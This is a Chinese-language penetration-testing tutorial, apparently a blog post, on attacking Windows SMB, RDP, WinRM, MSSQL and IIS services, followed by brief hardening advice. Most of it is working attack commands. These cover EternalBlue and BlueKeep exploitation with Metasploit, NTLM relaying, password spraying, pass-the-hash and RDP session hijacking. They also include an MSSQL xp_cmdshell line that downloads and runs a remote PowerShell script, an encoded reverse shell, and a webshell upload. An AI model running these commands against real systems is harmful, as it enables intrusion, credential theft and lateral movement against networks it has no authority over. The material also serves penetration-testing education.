Windows服务攻击实战,永恒之蓝利用、NTLM中继、RDP暴力破解、WinRM远程执行与MSSQL攻击
Windows 系统运行着众多网络服务,每一个开放的端口都可能成为攻击者的突破口。在上一篇完成信息收集之后,本文将深入讲解 Windows 环境中最常见的服务攻击面,包括 SMB、RDP、WinRM、MSSQL 和 IIS,从漏洞原理到实战利用,再到对应的安全加固措施,构建完整的攻击与防御知识框架。
SMB 协议攻击
SMB(Server Message Block)协议是 Windows 网络的核心组成部分,负责文件共享、打印服务和进程间通信。由于其广泛部署和协议复杂性,SMB 历来是 Windows 渗透测试中最重要的攻击向量。
MS17-010 永恒之蓝(EternalBlue)
MS17-010 是 2017 年由 Shadow Brokers 泄露的 NSA 武器库中最具破坏力的漏洞之一。该漏洞存在于 SMBv1 协议的事务处理中,允许攻击者通过发送特制数据包实现远程代码执行。
# 第一步:确认目标是否存在 MS17-010 漏洞nmap --script smb-vuln-ms17-010 -p 445 10.10.10.100 # 第二步:使用 Metasploit 利用漏洞msfconsole -q # 在 msf 中:use exploit/windows/smb/ms17_010_eternalblueset RHOSTS 10.10.10.100set LHOST 10.10.10.5set PAYLOAD windows/x64/meterpreter/reverse_tcprun # 如果成功,将获得 SYSTEM 权限的 Meterpreter 会话# meterpreter > getuid# Server username: NT AUTHORITY\SYSTEM对于不使用 Metasploit 的场景,可以使用独立的漏洞利用脚本:
# 使用 AutoBlue 脚本git clone https://github.com/3ndG4me/AutoBlue-MS17-010.gitcd AutoBlue-MS17-010 # 生成 shellcode./shell_prep.sh# 选择反向 shell 类型和参数 # 执行利用python3 eternalblue_exploit7.py 10.10.10.100 shellcode/sc_x64.binSMB 签名绕过与中继攻击
当 Windows 主机未强制启用 SMB 签名时,攻击者可以执行 NTLM 中继攻击,将截获的认证凭据转发到其他主机,从而实现无需密码的横向移动。
# 第一步:检查网络中 SMB 签名未强制的主机crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt # 或使用 Nmapnmap --script smb2-security-mode -p 445 10.10.10.0/24# 关注 "Message signing enabled but not required" 的主机 # 第二步:关闭攻击机的 SMB 服务(避免端口冲突)sudo systemctl stop smbd # 第三步:启动 ntlmrelayx 监听# 中继到目标并尝试获取 SAM 数据库sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support # 中继并执行命令sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami /all" # 中继到 LDAP(在域环境中创建机器账户)sudo impacket-ntlmrelayx -t ldap://10.10.10.100 --add-computer # 第四步:触发认证(使用 Responder 捕获 NTLM 认证)sudo responder -I eth0 -dwPv # 或使用 mitm6 进行 IPv6 DNS 欺骗触发认证sudo mitm6 -d lab.localSMB 密码攻击
# 使用 CrackMapExec 进行密码喷射crackmapexec smb 10.10.10.100 -u users.txt -p 'Spring2024!' --continue-on-success # 使用 Hydra 暴力破解 SMBhydra -L users.txt -P passwords.txt smb://10.10.10.100 # 使用已获取的 NTLM Hash 进行 Pass-the-Hashcrackmapexec smb 10.10.10.100 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' # 使用 smbmap 检查共享权限smbmap -H 10.10.10.100 -u 'testuser' -p 'Welcome1!' # 递归列出共享中的文件smbmap -H 10.10.10.100 -u 'testuser' -p 'Welcome1!' -RRDP 攻击
远程桌面协议(RDP,端口 3389)是 Windows 系统最常用的远程管理手段,也是暴力破解和漏洞利用的重点目标。
暴力破解
# 使用 Hydra 暴力破解 RDPhydra -L users.txt -P passwords.txt rdp://10.10.10.100 -t 4 -V # 使用 crowbar(专为 RDP 设计的爆破工具)crowbar -b rdp -s 10.10.10.100/32 -U users.txt -C passwords.txt -n 1 # 使用 Ncrackncrack -vv --user administrator -P passwords.txt rdp://10.10.10.100 # RDP 密码喷射(CrackMapExec)crackmapexec rdp 10.10.10.0/24 -u 'testuser' -p 'Welcome1!'BlueKeep(CVE-2019-0708)
BlueKeep 是 RDP 协议中的高危远程代码执行漏洞,影响 Windows 7、Windows Server 2008/2008 R2 等系统,无需认证即可利用。
# 漏洞检测nmap --script rdp-vuln-ms12-020 -p 3389 10.10.10.100 # 使用 Metasploit 检测use auxiliary/scanner/rdp/cve_2019_0708_bluekeepset RHOSTS 10.10.10.100run # Metasploit 利用(注意:可能导致蓝屏,慎用)use exploit/windows/rdp/cve_2019_0708_bluekeep_rceset RHOSTS 10.10.10.100set LHOST 10.10.10.5set TARGET 2 # 需要根据目标系统选择正确的 targetrunRDP 会话劫持
当已获得 SYSTEM 权限时,可以劫持其他用户的 RDP 会话而无需其密码:
# 查看当前会话query user # 劫持目标会话(需要 SYSTEM 权限)# 例如目标会话 ID 为 2tscon 2 /dest:console # 通过创建服务来以 SYSTEM 身份执行sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#0"net start sesshijackWinRM 利用
WinRM(Windows Remote Management,端口 5985/5986)是 Windows 的远程管理框架,提供了强大的远程命令执行能力。
evil-winrm
evil-winrm 是专为渗透测试设计的 WinRM 客户端,功能远超普通 WinRM 连接。
# 基本连接(用户名密码)evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' # 使用 NTLM Hash 连接(Pass-the-Hash)evil-winrm -i 10.10.10.100 -u 'administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0' # 加载 PowerShell 脚本evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' -s /opt/scripts/ # 上传/下载文件# PS > upload /tmp/winPEASx64.exe C:\Temp\winPEASx64.exe# PS > download C:\Users\testuser\Desktop\secret.txt /tmp/secret.txt # 使用 SSL 连接(端口 5986)evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' -S# CrackMapExec 验证 WinRM 凭据crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' # 通过 WinRM 执行命令crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' -x "whoami /priv" # 执行 PowerShell 命令crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' -X "Get-Process"MSSQL 攻击
Microsoft SQL Server(端口 1433)在企业环境中广泛部署,其强大的存储过程机制使其成为获取系统命令执行的重要途径。
# 使用 impacket-mssqlclient 连接impacket-mssqlclient 'testuser:Welcome1!@10.10.10.100' -windows-auth # 使用 sqsh 连接sqsh -S 10.10.10.100 -U sa -P 'DBpassword1!' # 检查当前权限# SQL> SELECT SYSTEM_USER;# SQL> SELECT IS_SRVROLEMEMBER('sysadmin'); # 启用 xp_cmdshell(需要 sysadmin 权限)# SQL> ENABLE_XP_CMDSHELL# 或手动启用:# SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;# SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; # 通过 xp_cmdshell 执行系统命令# SQL> xp_cmdshell whoami# SQL> xp_cmdshell "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')" # 读取文件# SQL> SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents; # MSSQL 密码暴力破解hydra -L users.txt -P passwords.txt mssql://10.10.10.100crackmapexec mssql 10.10.10.100 -u sa -p passwords.txtMSSQL 提权路径
# 使用 impacket-mssqlclient 的交互式 shellimpacket-mssqlclient 'sa:DBpassword1!@10.10.10.100' # 尝试模拟其他用户# SQL> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';# SQL> EXECUTE AS LOGIN = 'sa'; # 通过 MSSQL 获取反向 Shell# SQL> xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdA..."IIS 漏洞利用
IIS(Internet Information Services)是 Windows 自带的 Web 服务器,常见的攻击面包括:
# IIS 版本探测curl -I http://10.10.10.100nmap -sV -p 80,443 --script http-server-header 10.10.10.100 # 目录枚举gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx,html,txt # IIS 短文件名枚举(波浪号漏洞)python3 iis_shortname_scanner.py http://10.10.10.100/ # WebDAV 探测与利用davtest -url http://10.10.10.100/webdav/cadaver http://10.10.10.100/webdav/ # 上传 webshell(如果 WebDAV 允许写入)curl -X PUT http://10.10.10.100/webdav/cmd.aspx -d @cmd.aspx安全加固建议
针对上述各服务的攻击面,建议采取以下防御措施:
SMB 加固
# 禁用 SMBv1Set-SmbServerConfiguration -EnableSMB1Protocol $false -ForceDisable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol # 强制 SMB 签名Set-SmbServerConfiguration -RequireSecuritySignature $true -Force # 限制匿名枚举Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictAnonymous" -Value 2RDP 加固
# 启用网络级认证(NLA)Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1 # 限制 RDP 访问用户组# 仅允许特定组通过 RDP 连接net localgroup "Remote Desktop Users" /add "RDP-AllowedUsers" # 配置账户锁定策略net accounts /lockoutthreshold:5 /lockoutduration:30 /lockoutwindow:30WinRM 加固
# 仅允许 HTTPS 连接winrm set winrm/config/service '@{AllowUnencrypted="false"}' # 限制 WinRM 访问的 IP 范围Set-Item WSMan:\localhost\Service\IPv4Filter -Value "10.10.10.0/24"MSSQL 加固
- 禁用
xp_cmdshell,限制sysadmin角色成员 - 使用 Windows 身份验证而非 SQL 混合认证
- 将 SQL Server 服务账户配置为低权限专用账户
- 限制 MSSQL 仅监听内网地址
总结
Windows 服务的攻击面广泛且深入,每一个开放的端口都可能成为攻击链的起点。本文涵盖了五大核心服务的攻击技术:
- SMB — 从永恒之蓝到 NTLM 中继,攻击面最为丰富
- RDP — 暴力破解与 BlueKeep 漏洞利用
- WinRM — 利用 evil-winrm 实现远程命令执行
- MSSQL — 通过 xp_cmdshell 突破数据库边界
- IIS — WebDAV 利用与 Web 应用攻击
在实际渗透测试中,这些服务的攻击往往是相互关联的:通过 SMB 枚举获取的凭据可以用于 RDP 登录,通过 MSSQL 获取的命令执行可以横向移动到域控制器。理解每个服务的攻击原理和防御手段,才能在攻防两端都做到游刃有余。
下一篇文章将进入 Windows 提权阶段,探讨如何从普通用户权限提升到 SYSTEM 或管理员权限。
